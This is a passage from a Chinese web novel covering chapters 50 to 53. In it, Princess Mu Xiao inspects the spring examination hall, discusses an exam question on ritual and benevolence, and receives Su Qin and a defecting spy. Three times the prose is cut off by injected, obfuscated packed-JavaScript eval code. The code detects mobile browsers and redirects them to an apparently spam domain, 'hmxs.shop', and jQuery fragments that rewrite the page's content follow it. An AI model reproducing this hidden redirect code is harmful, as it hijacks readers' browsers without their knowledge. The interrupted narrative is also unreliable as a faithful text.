“前辈的祭文，原是写给云娴看的，对么？” “当然。”崔嫃利落回道，“她能识得我的字，亦能识得我的文。这十年光阴漫长，若是没有云娴，我的日子会更加无趣。提醒她其中水深，随手一试她认定的人，也不枉她陪我一场。” “云娴会把祭文给你，我也不奇怪。” “她并未透露前辈的任何信息。”牧晓道。 “那你能找的人，大概就剩姚庄主了。”崔嫃不免生出几分感慨，“她真是令人好生羡慕。我不及她。替我向她带句好吧，就当是为她当年问我是否需要帮助，迟到十年的谢。” “晚辈定然带到。”牧晓接下后，迟疑道，“那前辈对现在的情形，可有不满？若有想法，晚辈或许可助一臂之力。就当谢前辈当年相助。” 崔嫃笑着打量她一圈，嗔笑道：“呦，当年只会哭的小丫头，现在想帮上我了？挺好的。我知道云娴为什么选你了。我过去对你的评价，这几次看来有失公允。是我见少了。” “谢昭灵好意。不过，不用了。我近日正巧在宫里找到了新鲜事做。” “若是日后有需要，我自己寻不到法子，自然会找到昭灵门上。” “希望昭灵也能活到那个时候。” 牧晓失笑道：“借前辈吉言。” “上次暖炉宴那兆头就不错。”崔嫃随口安慰道，“食谱，长命锁，拨浪鼓……真应景。” “长欣那么设置奖赏，原是想让你们不必让着崇仪。” “但最后的结果挺巧妙。也算是歪打正着。” 年纪尚小的牧崇仪，其实并不缺长命锁、拨浪鼓之类；田园牧歌式悠悠然的陶家，不需宴上可以摆出的宫廷糕点与食谱；而牧晓，其实也不需用那个暖炉来提醒他人，她背后有皇后撑腰。 相反，牧崇仪只想如愿以偿，陶云娴需要有人撑一把，牧晓只想得个聊有胜无的祝福。 “若有什么需要我的，昭灵也可递个信来。”崔嫃调侃道，“我们也算有过命的交情。” “谢过前辈。”牧晓应到。 听到门口脚步声传来，两人面上笑容双双收起，换做哀容，对着牌位垂眸。 进门的是皇帝身边的纪公公。 “殿下，”他行完礼后道，“百日祭现已结束。陛下请殿下前去议事。” 50.春闱序章 “问题就在于，根本没有任何问题。” 牧晓还完密旨与尚方剑，回府换下服制，终于得闲可仔细思索这两日之事：“贡院内都整肃成这般滴水不漏的模样了，他还让我走这一遭，到底想要做什么？” 因太皇太后崩逝与冬日严寒路面难行，这年的春闱从二月初延期到了三月底，恰在太皇太后百日祭后第三日。 “百日祭后急召，作为御前特派巡视，第二日持天子剑带人直闯已锁院的贡院。这阵仗，我原当这场春闱有徇私舞弊、物资掺假、试题泄漏等要事发生。” “但这一圈巡视查问下来，就差掘地三尺。但没有，什么都没有。” “不仅我瞧不出不妥之处，他让我带的那些人也没查出任何东西。”牧晓蹙眉道，“这一下，让本就延期的春闱，闹得更加人心惶惶。这到底是什么路数？我实在看不明白。” “说不准只是为了敲山震虎。”苏墨清思忖道。 “这‘山’是在那里。但‘虎’呢？今日这一圈，光论熟识者就不少。”牧晓掰着手指细数，“礼部主试的姚尚书，进京后第一个参我的那位右佥都御史，平良县之事中上报山火的顺天府尹，百听阁起火时遇见过的那五城兵马司指挥和巡城御史，还有其他主副考、翰林院学士、监视官、各级所官……” “这么多人，兴师动众陪同巡视这一场，竟然什么都未查出。” “这贡院实在是正常得不能再正常，严谨得不能再严谨了。” “而考生那边，因春闱延期本就焦虑不安者不少，稳扎稳打不闻窗外事者亦不少。就是没查出如倒卖试题、暗号抬卷、投机取巧之类的事。” “至于资助考生这种事情，”牧晓顿了顿，“今年因天寒与延期，暗中资助考生之事实在常见。不过基本都保持在惜才爱才的范畴内，属于皇帝默许、百官皆知的那种，到不了结党舞弊的地步，也难当把柄去抓。” 她仰头向后一靠叹息道：“总不能这样还是在敲打我吧。不太像。” “和崔太妃在暖阁中聊两句又不违制。” “我真没想将手伸到春闱那里。”牧晓无辜地摊了摊手，“安分守己，不越界线，不拉帮结派结党营私。” “或许正是因为这样，才让你做这件事。”苏墨清道，“至少目前为止，这件事没什么对你不利的地方。能持天子剑，算不上好事么？” “但愿吧。但愿单纯只是让我代他震慑一下各方。”牧晓长出一口气，“越是没有异样，我反倒越觉得蹊跷。” “闯贡院……”她想到今早撞上姚尚书的情形就觉得无奈，“没想招惹的事，自己就往手里撞。” “他那么多阁臣不派，把手头这么多事还没办完的我，在百日祭后从仁寿宫直接拎走……他到底做的什么打算？” “总不能是觉得，真查出点什么，别人拿了天子剑也不敢当场斩人，而我敢吧。” “为什么是我呢？我能和春闱有什么关系？”牧晓着实有点好奇。 · 还真有关系。 因为这场临时巡视，牧晓这几日一直关注着春闱的方方面面。 没想到最后和她能扯上关系的，竟然是考题。 会试第三场时务策，借《礼记》中言，论礼与仁之间的关系。 “这题目挺有意思。”陶云娴看后分析道，“要是掺上殿下的事，就更有意思了。” “第一层，先给个两个字相关的定性：‘礼者，事之治也(1)；仁者，天下之表也(2)’。先说礼是治理天下、处理事务的根本，仁是彰显德行、立身行事的根基。” “这是暗示外在治国规范与内在个人修德之间，存在联系。” “第二层，‘仁有三，与仁同功而异情(3)’，既简单验了答卷人的基本知识储备，又能看答卷人怎样将三种外在效用一致、内心动因不同的‘仁’与实例关联，在圣人定下的方向深究，而后跳出前人的框定，展示自己的理解。” “在原文中，这句后就是简单的解释。‘仁者安仁，知者利仁，畏罪者强仁(4)’——仁的三种分类，便是‘安仁’‘利仁’‘强仁’。” “安仁是圣人之仁，发自本心、不求回报、不计得失，行完就可获得身心安定，被称为‘上仁’；利仁近似君子之仁，主动实行，可谋来福报与美名，被称为‘中仁’；强仁为常人之仁，因避免罪责勉强向善，一般称为‘下仁’。” “第三层，主要在说君子该如何做。‘君子有其事必有其治(5)，衰绖(cuī dié)则有哀色，端冕则有敬色，甲胃则有不可辱之色(6)’——君子处在一种境遇下，会有与之匹配的言行方法，也就是‘礼’；而君子之德，体现在着丧服便有悲哀之色，着礼服便有恭敬之色，着兵甲就代表国家威严，定有凛然不可侵犯之色。” “这就关乎个人作为‘君子’的实际行为。” 陶云娴端起桌上的茶盏饮了一口，不好意思地笑笑：“殿下能把这个题目拿给我，想必是让我参照着怎样遴选人才，原不需要我解释与多言。” “我确实读过，也听先生讲过，但当年就不喜欢背这些。多年不温习，自然比不得云娴对原文前后信手拈来。”牧晓笑了笑，“再听到这些，想到本场的主考恰巧是我的启蒙先生，心中不免感慨万千。” “没想到洛水桥头那件事，还能和春闱有所牵扯。”违礼的仁心，世人眼中会有多少种不同的看法？ “或许不止是洛水桥头的事。”陶云娴犹豫一瞬后道，“殿下做的很多事皆能合上。” “恰巧是在太皇太后崩逝这个时候，洛水桥头那件事太过引人注目而已。” “听闻殿下几日前持尚方剑带人巡视贡院……这朝中不知起了多大波澜。” “起波澜是必然。”牧晓无所谓地歪了一下头，“只要我接触朝中事，这波澜就从未停过。贡院那件事是宫里临时下旨。我原不想沾春闱之事。” “云娴觉得，宫里为何要让我去巡视贡院？” “若是站在选人用人者的角度上思考，”陶云娴思索道，“我觉得，朝中首先不想收太过迂腐之人。” “可能殿下想不到，”陶云娴叹了口气，“这世间就是有人会因女子进了贡院而弃考。” “有些人把这个称为一种气节，仿佛只有他们男子高贵，女子就天生污浊低贱。” “这类事我旁观了不少。有时也好奇，怎么在殿下身边就没看到过这种人，清净许多。” “嗯，可能是因为上一个敢在我面前直接表露这点的，已深埋在玄岫城前沙尘下许久。”牧晓打趣道，“蛮族说话就是直接。所以我做得也很直接。” “在京城，他们也只敢做‘弃考’或背后多言，这种没什么意思的事。” 她皇兄用血流成河建立起的至高威严，不仅震慑住了她，也震慑住了会拦她上殿入朝的那些迂腐之人。 每次想到这里，她都会升起带着荒谬之感的静默。 也难怪姚老先生每次看到她，都会被堵在喉头却不能大声说出的“荒唐”二字，卡得脸色铁青。 这敢怒不敢言的“荒唐”二字， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938145|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许并不是送她本人的。 礼法与仁义，在圣人言中，本与僵化、守旧、拒绝变通等词毫不相干，也本不是用来区分不同性别、不同族类的高低贵贱。只是在后人带着自身视角的理解，以及带着目的的诠释中，慢慢异化成现在这般模样。 牧晓看着这策论题，突然觉得自己或许从未真正明白过先生那些话的内涵。 先生也在愤怒。 他明明可以直接用师长的身份，单独修书于她，斥责她在玄岫城中越权枉法、滥用私刑。 但他从未这样做过。 他在朝堂上将这点掷地有声地摆上明面，让朝中乃至天下人皆来辨析拆解其中利弊。 他率先抛出所有可以指责的部分，而后剩下的问题便成了——到底是什么，把她逼到越权枉法的地步，让她必须站上城楼，必须弯弓搭箭，必须接管城务治安，让她得手起刀落，才能稳定住城内局势。 而敲响登闻鼓那日，他明明可以直接在她进殿之前，就据理力争这上奏的不合规矩之处。 但他没有。 那他口中的“荒唐”又是什么？或许是为何事实证据都如此条理分明，朝中还在一日拖一日，拖到她得用特殊手段上殿，才能获个拍板定论、是非分明。 “‘首先’有了。那‘其次’呢？”牧晓问道。 “其次，朝中想要的，大概心性极佳且务实做事之人。”陶云娴揣测，“春闱延期本就令许多考生心焦；在锁院后、开考前这段特殊时间，有御前特派人员持尚方剑入院巡视……” “品行端正的考生，只会更加敬畏，且对春闱的公平公正放下心来，安心答卷。” “但若是急躁不安或本就动了歪心的考生，只会更加慌乱、分神。若是加上才学本就不扎实，落第是必然的。” “我最近总琢磨，怎样才能选出人才。”陶云娴微微一笑，“说这试题有趣，是因为若是考生眼观时事、耳听纷言，按这题目的三层写下，展示的便是对目前难题的见解方案，相当考验其面对流言与不全信息的辨别思考。” “若是考生博古通今，两耳不闻窗外事、一心读透圣贤书，这题便给了他们足够的空间展示渊博学识与经义深见。” “敢直言当下者，多爽利赤诚且灵活变通，似活水涓流不息；满腹经纶又明事理者，多沉着内敛、守得本心，积跬步而致千里。” “不过，若是偏激者或心性不正者来答，纵使胸有诗书韬略，免不了会因私自揣摩主考个人喜好，刻意贬低殿下，而非就事论事。” “重要的不是考生到底知道或不知道、认可或不认可殿下的行为，而是在太皇太后逝世、影响春闱这个背景下，他们到底能不能守住本心、静思明辨，到底是不是朝中现在想要的人才。” 陶云娴停了停，问道：“殿下有揣测过当今朝中的用人趋势么？我与当今圣上和外臣见面的机会都不多，很难通过日常事务判断这点。” “当今圣上么？我进京第一日，他说，男女性别、贵贱出身都无妨，唯能者居之。”牧晓回忆起那个家宴。 好像已过去很久了。 “这就不奇怪了。”陶云娴不禁感叹，“这样的话听过许多，但真能容得下‘唯能者居之’这几个字的，实在不多。” “一直是这样么？”她有些好奇地问道。 “先帝显然不是。你是想问当今圣上？”牧晓想了想，“从我的角度看，不算。” “我不知道他这几年突然想明白了什么。” “反正以前么……还真不是现在这样。” 51.过江之鲫 “一个弱冠之年首考即登一甲的丞相之子什么样，他就什么样。”牧晓解释道，“以前，别提什么能不能、才不才的，能让他正眼瞧上一瞧的，非足够惊才绝艳之人不可。” “说起来令人难以置信。我觉得他登基后，识人要求和标准其实在一降再降。” “至于用人不考量男女性别、贵贱出身这点，他登基前是有这个意思，但主要原因不是需要能者来帮他做事，而是，就他那个要求，能勉强入眼者本来就少。要是再在性别和出身上挑挑拣拣，那真是无人可用。” “惊讶么？”牧晓看着对面陶云娴凝滞的神情，忍不住笑道，“这间院子再往里行一段时间，就是原本牧府的范围。” “你之前说，你从前朝那场春日宴席上开始关注我……那时，我在他那里，刚能得上一句‘初具人形’——他当时讽刺别人，还没现在这么留情。” “我儿时，有自己觉得天大的问题拿回牧府，他们随手一挥就能轻松解决。” “但在外头受了什么夸赞褒奖，是绝对不会拿回来炫耀的。” “因为他们中的任何一个，都可以再随手一挥，用实际行动向我证明——还得练，还是会得太少。”牧晓说到这里，和陶云娴一起笑出声来，“真的，不用去试着参考他以前的选人方式。他当时不需要那么多人，标准实在太苛刻，可遇不可求。” “他以前是说不出什么‘唯能者居之’这样的话的。” “因为在他眼里算有能耐的人，不用他刻意安到什么位置，自己就能找准自己的方向。” “现在么，他能耐心掂量一个人到底‘能’在何处，并将要求放低到他推一把能上去就行，大概也算种进步。” “我真的没想到，殿下会这么解释。”陶云娴扶着案角掩面笑道，“怪不得，怪不得上次科考，有传言说，宫里在圈前三时犹豫许久，似乎都不太满意。” “这次加了这些手段，应该是希望选出想用能用之人。” “……殿下的投壶技巧，就是这么练出来的么？”陶云娴笑问。 “基本上是。”牧晓无奈道，“去向他们求助，他们是不会像我教崇仪那样，手把手一点点教的。” “他们只会让我好好看着，用各种方式随意示范，而后觉得我肯定是会了，拍拍手就走。” “见我瘫在草地上赌气，他们会大发慈悲地自己来和我比试，或者随手招来一个人和我比试。” “刚开始自然次次输，然后逐渐输多赢少，再后来输少赢多。” “能从他们口中听到‘不错’二字时，京城宴会上那距离和方式，已完全不成问题。” “标准严苛本身不是坏事，但不一定每次都会带来好结果。不过，”牧晓话锋一转，“云娴刚才那句话倒是提醒了我。” “我之前觉得不好在科考上借什么力，所以从未将目光投于其上。” 牧晓轻叩桌面思量道：“现在细想，上次科考……借前两次科考，宫里本可清洗掉一批旧势力。一甲进翰林院，二甲三甲外放做知州知县，算是惯例。” “而平良县距京极近，向京城供给矿产，并聚集众多京官家眷，位置不可谓不重要。” “这次受灾，涉及京郊多县，并不只是这一县。平良县令的赈灾能力，借那三日看下来，显然不足。” “但这不足并非一日两日。应当是一直如此。” “为何他这么多年，都没被调离？仅仅是背后有靠山，就能办到的么？” 还有一句浮上她心头，却没有说出：背后之人，又为何笃定平良县令不会被调离？ 是背后那人，势力真的大到如此地步，还是…… 门帘掀开，露秋无声进门后道：“殿下，府内的掌账考选已结束。只是揭名后发现，这前三中有一身份特殊之人，需要殿下定夺。” 近日府内账房大多调去参与赈济方面的事务，留在府内的掌账人既要处理日常府务，又要处理遴选祭文这边的院落事务，日子一长实在难以平衡，总从外借人协助亦不是长久之计。 因此，府中准备新招募几位掌账人，单独处理新设院落的账务，并慢慢观察培养。 由于负责祭文事务的全是女子，所以这次招募的掌账人，也限女性。 考选恰好与春闱同日进行。 为显示公平，先进行贴名笔试，待阅完卷后，再揭名核验身份与品行。 牧晓接过前三名的信息，首先看到被圈出的那人的年龄一栏为“十五”，询问道：“这次考选对外公布时，可曾限制年龄？” “未曾。报名者中，最年长的女子已年逾古稀。年龄最小者刚及豆蔻，并非这位。”露秋答道，“按结果来看，年纪稍长者经验更丰富，更为占优；但年纪较轻者中，不乏数算敏捷、处事灵活者。” “参考人多数曾在民间账局、商帮、镖局等场所任过账房，还有几位是京中其他府邸退下的女管事。” “这位能进前三，占优之处在于，她对大型府邸中的账务处理，比旁人来得游刃有余，异常熟稔。” “她在身份一栏只写成普通百姓。阅卷揭卷之人原以为她是前朝王公府中流落民间的账房，递送初步结果时，向我特地提了她那张卷。” “我去核验姓名、年龄与其他身份信息时，发现那张卷的答卷人，殿下识得。” “是延国公府现在真正的当家人，苏沁苏小姐。” · “府中想招些账房，结果把她招来了。”牧晓拿着苏沁的那张卷道，“她放着延国公府不管，来我这里做什么？” “你想问我，最近是不是对延国公府那边有什么动作？”苏墨清回道，“没有。至少没有特意做过。说了不管延国公府，是真的不会再管。” “不过，我大概能猜到她为什么来找你。”苏墨清看了一眼那张卷，轻笑道，“她真该去和暮药师好好聊聊。说不定能引为知己。” “无非就两种可能——要么是惊弓之鸟自己吓了自己；要么是意识到，延国公府本身，一定要消亡。” “能来找你，大概二者兼有。” “看来你前段时间做的事，不只造了暮药师与刘尚书这两只惊弓之鸟出来。现在又飞来一只。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16942998|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牧晓扬眉道，“我看，百听阁，你比我会用得多。” “我上次问百听阁借的那个被拐的孩子，是闻絮再次上街摆摊时遇上的。” “闻絮向来是完成一项任务，才会接下一项。” “她的上一项任务，在县衙门口没有完成，也没有明确要再次动手的意思。” “但平良县令还是死了。真真实实死于自尽。” “他的那些罪名，无论如何都逃不过鬼头刀是真的。” “不过，这时间点也太巧了。” “单从结果来看，让我少了不少麻烦。” 牧晓微微一笑，问道：“你审完我送进京的人，通过百听阁，让闻絮在我们离开平良县的那个晚上，和平良县令说了什么，对么？” “闻絮大概也是第一次，没用断头刀杀人。” “我那日说平良县令‘已纠结许久’时，你不就猜到了么？”苏墨清看向她，淡淡道，“怎么今日说得这样明白？” “因为苏沁么？” “首先是因为我听了闻絮的讲述，觉得孙氏那个脾性，能和她吐露心声，本就是件令人匪夷所思之事。”牧晓将手中卷放回桌案上那摞卷里，意味深长道，“闻絮根本不擅长说谎，教也很难教会。参照叙述时那种乖巧和平静，她显然是如愿以偿了。所以我倾向于她叙述的故事是真实发生的。” “但孙氏那边的动因，就值得深究了。” “她是刘尚书手里苏老将军的把柄，这点大概没错——但这到底是刘尚书后来查到的把柄，还是早就埋下的引线，就难说了。” “从刘尚书的角度看，他想要的，是我和我手下的人，在京畿担上谋害朝廷命官和屠杀百姓的罪名，再将玄岫城旧事重提，好逼我把在西南伸出去的手缩回去。” “京郊截杀是这样，平良县是这样，洛水桥头也有这个意思。不过是次次加码，次次升级。” “他甚至不需要和孙氏说明白。” “只需要告诉平良县令那个被他卖掉的女儿的消息，暗示他修书一封。” “可以预料的是，孙氏收到信，肯定不会喜悦，而会恐慌。” “这时，只要她身边有人告诉她，街口有个小姑娘的摊子，许愿特别灵。按孙氏信神信佛信命的脾性，在无助中死马当活马医，极有可能真会前往。” 牧晓双手相扣：“这样，就合上了。” “但这些与苏沁来找我这件事之间，我觉得还少了几环。”她沉吟道，“比如，苏沁是怎么知道的。” “你说不管延国公府……我怎么处理这件事都可以、都无所谓么？”牧晓认真问道。 “当然。到现在这个地步，做什么都不会影响最后结果。”苏墨清说完，提醒道，“你那日也听到了我母亲对苏沁的评价。不过，她和我对苏沁都不算熟悉，很难预测她来公主府到底想做什么、身后是否还有别人。” “行。那我先听听，苏沁自己怎么解释。”牧晓再次看了看桌上的一摞答卷，若有所思，“真应了那句，天下英雄如过江之鲫。” “不仅限于朝中春闱。” 52.朱颜画雀 苏沁双手交叠搭在身前，在院中抬头环顾一圈，觉得上次来只顾低头行路，真是可惜了这院中景致。 她静静提起裙摆，一步步踏过脚下的青石路与木阶，带着身后侍女，缓缓走入公主府议事堂。 “苏小姐，别来无恙。”牧晓看着与上次全然不同的苏沁，微笑道，“与上次不欢而散相隔几月未见，还不曾有时间向苏小姐道贺。随意坐。” 苏沁心头一跳，在原地愣怔几息，血液倒涌，手脚冰冷，脑中原本计划好的说辞应对忽然全被打散了。 “公主说笑了。近日兄长流放加上国丧，延国公府不曾有什么喜事。”苏沁尽力平复心绪，但交叠在袖中的手还是微微颤抖起来，“民女也不曾有什么喜事。不知公主所言何事？” “苏小姐执掌延国公府，几月便摸透了账目。这两件不值得道贺么？”牧晓端坐在上，与她平静对视，“苏小姐的答卷令我刮目相看。只是不知苏小姐为何舍了些处理自家府务的时间，来我公主府参试？” “令堂近来，可还康安？” 提到自己的母亲，苏沁袖中的手互相攥紧，扭作一团。 她尽力回想自己在府中写了无数遍草稿的内容，但还是没想起来，只能竭力维持声音的平稳，择了脑中还在的一件事，开口道：“家母有东西和话让我转递与公主。” 说完，苏沁起身走向前，双手递上一块碎了一个角的小玉佩：“民女可否直接叙述家母的原话？或有些许失礼，还请公主恕罪。” 牧晓从她手中接过玉佩仔细端详，并示意苏沁但说无妨。 那是一个穿了如意结的穗子的玉佩。如意结打得并不完美，歪歪斜斜，配色有些古怪，但让牧晓颇为眼熟。 她想起牧府还在时，她与母亲相约要一起穿两枚独特的玉佩，当作她们之间的小信物。 这一块，并不是最后的成品，而是练手之作。 因为是亲手打得，不舍得丢掉，又因特别且好辨认，被当时总角之年的她当作信物，送给过她觉得需要帮助的女子，让她们若有需要，可凭这信物上牧府的门，找她和她母亲。 这样的玉佩她一共只送出去过两块。 一块给了当时的闻笙；另一块给出时在往尘寺山脚的坟茔间，还发生了些不愉快的事。 她其实早就忘记了往尘寺山脚下那人的模样，只记得她自报的名字与那寥寥几句对话。 所以那女子是…… “家母说，她本名叫孙颜朱。”苏沁将冰凉的手收回袖中，定了定心道，“不知牧……牧二小姐是否还记得她。她当时见您，报的并非本名。” 何止不是本名。牧晓忆起当时的情形——那人报的是面前墓碑上的化名，说她就是那墓碑的主人“朱颜”。 “她十分抱歉当年砸了您的玉佩，但仍然……不喜您当年说的话。” 当年，牧晓想偷偷将手中密封的木盒子埋在那堆乱坟茔间，恰巧遇上了去为“自己”扫墓的孙颜朱。 孙颜朱自报姓名，并询问她，为何在此处，是否需要帮助，就当结个善缘。 于是她们两人交换了信物，一起用簪子与旁边的石块，挖出来刚能埋进那个木盒的小小坑洞。因刚下过雨，所以挖得相当轻松。 只是在填土闲聊时，出了问题。 孙颜朱问她是谁家的孩子。 牧晓说，京城牧府。若有难处，可持这玉佩上门找她。 孙颜朱又问，盒子里是什么。 牧晓如实回答，是一只斗死的画眉。 孙颜朱停下手中动作，问她，不觉得残忍么。 牧晓用与当时年龄不符的冰冷，重复长辈的话，说道——那是它的命。 看着自己的墓碑与旁边埋了一半的木盒，本是信命的孙颜朱，内心轰然决堤。 “家母还说……她到现在都不明白自己在延国公府与您的那次相遇，到底做错了什么。” 孙颜朱觉得，自己作为长辈，应该管束一下这个小辈。这牧二小姐当年说的话就不太好，这次来她府上，更是变本加厉。 若是不带着她忏悔，日后肯定是要遭报应的。 “不过，她感谢您冥冥之中帮她了结了一个心愿。” 在听到平良县令因昭灵公主查出的东西自尽时，孙颜朱想，原来缘分真的那样奇妙。 许愿这方面，不论是街角的那个小姑娘，还是当年的牧二小姐，现在看来都挺灵验。 或许这就是她自己积德行善的福报。 “现在她将玉佩物归原主，算作还愿。” 苏沁说完，停了停，补道：“我不明白母亲是什么意思，但母亲硬要我原话叙述，说如果我不这样，不算她成功还愿，未来要死不瞑目。” “家母未曾读过什么书，很信这些。我只是最后尽一次做女儿的孝心，帮母亲了结执念。望公主恕罪。” “为何说是‘最后尽一次’？她……”牧晓握了握那再次回到她手中的玉佩，问苏沁。 她和孙颜朱，每次见面都不欢而散。她们从来都无法理解对方。 牧晓此刻，虽然仍不认同对方过去的做法和那些话语，但事隔多年再次想起往尘寺山脚的那件事，想起那墓碑和画眉，有些明白对方为何会是这样。 “公主不必……担心。家母身体康健。”苏沁见牧晓丝毫没有动怒的意思，反而眼中闪着她看不明白的神色，攥着自己的手松了松，“只是在开春的这几日，已自愿前往兄长墨淳的流放之地。” “她终究还是放不下。”苏沁明白，母亲终究还是选择了哥哥。即使她向母亲证明自己能照管好延国公府，即使她试图向母亲立誓能带她过上更好的日子，即使她的哥哥已是戴罪流放之人、在边疆苦寒之地。 即便有银两与护送者，半生困在宅院中的母亲，真的能顺利到达流放之地么？她在路上会遇到什么，会不会看到这辈子未曾见过的景物、碰上这辈子还不曾碰上的人或事？她走出府门，经这一路，还会如以前一样么？ 长亭送别后，这些问题苏沁都曾设想过，担忧过，为此辗转反侧过。 在处理府务的间隙思量来思量去，苏沁最后决定不再想了。 因为她面前出现了些必须要抉择的问题，她不得不收心为自己做些打算。 “母亲既已择了自己的路，做女儿的唯能祝福。” “但民女此行并非为母亲而来。”提及自己，苏沁跳得七零八落的心如骤然封冻般平静下来，“公主刚才提到民女的答卷以及延国公府的府务……谢公主赏识。” 如何能光明正大进公主府，并得到一个受到尊重的交谈机会，是她已思索许久的问题。 “上次相见时，公主已粗略看过延国公府账目。民女接手延国公府后重新核算过主要部分，发现些不同寻常之处。” 能得到尊重就足够了么？苏沁缓缓抬头对上对方的视线，清声道：“公主府与延国公府，早有钱权往来。起始时间远早于真正下聘与备婚时间。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947653|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “延国公府本身这样数额的亏空，不只是因姚庄主的离开，还有公主府的暗中运作。” “当年我父兄死讯传来时，公主闯进我府中，怕不是……不只是为情。” “而是刚好，销账。” 空缺的账目，盘根错节的背后关系和与流水往来，掌家后暗中前来试探的各方……这几个月，苏沁发现，自己头顶原本的山被一层层移开，但露出的天空并非湛蓝，而是灰败。 “苏小姐，喜欢乱扣帽子这点，还是多年未改。”牧晓悠然笑了一下，“空口无凭，不如现在去公堂对峙一番？” “公主何必……”苏沁猛地一颤。那些大多只是她的推测，真上公堂，她一个诬告的罪名大概是逃不掉的。 “或者，”牧晓打断她的话，“我现在将你长兄叫来，将流放之地的人拎回来，将你路上的母亲截回来，再拉上姚庄主，我们一起去开了苏老将军的墓，辩个明白，可好？” 苏沁喃喃道：“不，不用，不必如此……” “确实不用。”牧晓漫不经心说完，看着逐渐僵直的苏沁，明白她手里什么都没有，和善地笑笑，“——不用紧张。开个玩笑而已。苏小姐既然先行说笑，我自然要回礼。” “与其在这些早就尘归尘土归土的陈年旧事上耗费时间和口舌，苏小姐不如直接说明白，到底为何而来？” 牧晓觉得苏沁在“民女”与“我”的自称间来回切换，实在相当古怪。她似乎是在女儿、妹妹、延国公府当家人以及她自己，这几个身份间，来回游移。 “我……我想脱开延国公府。”沉默片刻后，苏沁深吸一口气，再次开口。 “我不知自己为何要为他们还账，还要搭上自己的年华空耗在这注定消逝的陈旧府中。” “公主和姚庄主既已经掏空了那座府邸，为何不直接将它收走？” 静默片刻，牧晓温声问道：“在怨我们么？” “不，不是。”苏沁下意识缩了缩脖子，但很快又将双肩放平，尽力挺直了单薄的脊背，话卡在喉中呼之欲出。 牧晓静静地凝视着她，看到她将要开口的一瞬间，却忽然松了绷住的脊梁，捏着扶手，再一次与自己对视。 苏沁露出一个苍白的笑容，在心间那缠成一团的线中寻到了一个线头抽出：“我在羡慕，或者说，在嫉妒。” “姚家的姚，看似是姚尚书的姚，实则是姚庄主的姚。” 真正让桃李满天下的姚先生入仕的，还是姚千宁参与的那场惊天一赌。她是延国公府的债主，是许多人的债主，也同样是姚府的债主。 “近日听过公主与长兄的旧事。嫁娶招赘间几番变换，但现看来——公主府，永远是公主府。” “原本的苏家，原本的延国公府，却注定不是我苏沁的苏。” “我想，拥有一个属于自己的苏府。” “是我苏沁的苏。” “但是，我发现，”苏沁低头道，“母亲走了，其实并不是件好事。” “与公主和长兄熟识的京城门户太多，春闱也近在眼前。”万一他们起意，自己会身不由己地直接被定了亲事。 与其原地胆战心惊等他们来利用，或是像她那素未谋面的外祖父般，走到自行了断的地步，不如她自己先来，探探到底有无生路。 “我在府中发现了可能与公主相关的异状。不知公主有没有兴趣听一听。” 威胁无法奏效，苏沁并不气馁。 她还有别的准备。 53.叛者真心 “时月，”苏沁对身后的侍女道，“把在府中与我说的话，讲与公主听。” “是。”闻时月从苏沁身后走出，低头向堂上一礼，用自己本身的声线柔声道，“百听阁叛徒时月，见过昭灵公主。” “时月……”牧晓听着有几分耳熟，思索片刻后想起，“你是当年和闻絮同期的闻时月，擅长换声易容，对么。” “正是在下。愧对殿下和阁主的信任。”闻时月头垂得更低了些。 牧晓叹息道：“何必装模作样。你本就是带着任务进的百听阁。愧疚二字，在你这里当年就不值几两，现在大约更是轻于鸿毛。” “是你引苏小姐的母亲去找闻絮？”能准确戳中闻絮心弦的，竟然还是她多年前的这个对手。 私自谋杀平良县令这件事，闻笙知道后，闻絮定是要受罚。 “殿下还是和几年前一样英明神武、冰雪聪明。”闻时月继续柔声奉承道。 牧晓瞥了她一眼，抑制住想和当年一般把她从府中扔出去的冲动，勾起唇角笑了笑：“闻时月，你是苏墨淳身边那个小厮？不错，又流放了一个主子。不知下一个是谁。” 苏沁听到那个“又”字，下意识抬眸看了一眼闻时月，有些不安。 闻时月终于不再歪歪斜斜站着，也收起了面上假模假式的笑容，沉下声道：“论喜欢扣帽子这点，殿下与苏小姐相比，也不多惶让。” 真是有趣。原来闻时月这种专职细作，也会生真情护着别人么？牧晓饶有兴致地继续问：“进延国公府，就是为了那些账目？诱导你家小姐来参试，也是这种居心？” “至于你自己——还敢进公主府，不怕有来无回么？” 若是没有苏沁在旁，闻时月大可以几句糊弄过去。可就是因为苏沁正在旁边望着她，闻时月反倒装不下去也说不出口了。 她暗暗磨了磨牙，在心里默默腹诽，若不是为了苏小姐，哪个细作失败后还愿意进前东家的地盘？ 闻时月正要开口，却感受到苏沁轻轻扯了扯她的衣角。 已到嘴边的话生生拐了个弯，她用公事公办的庄重语气答道：“回殿下，自然不怕。因为时月准备弃暗投明。” 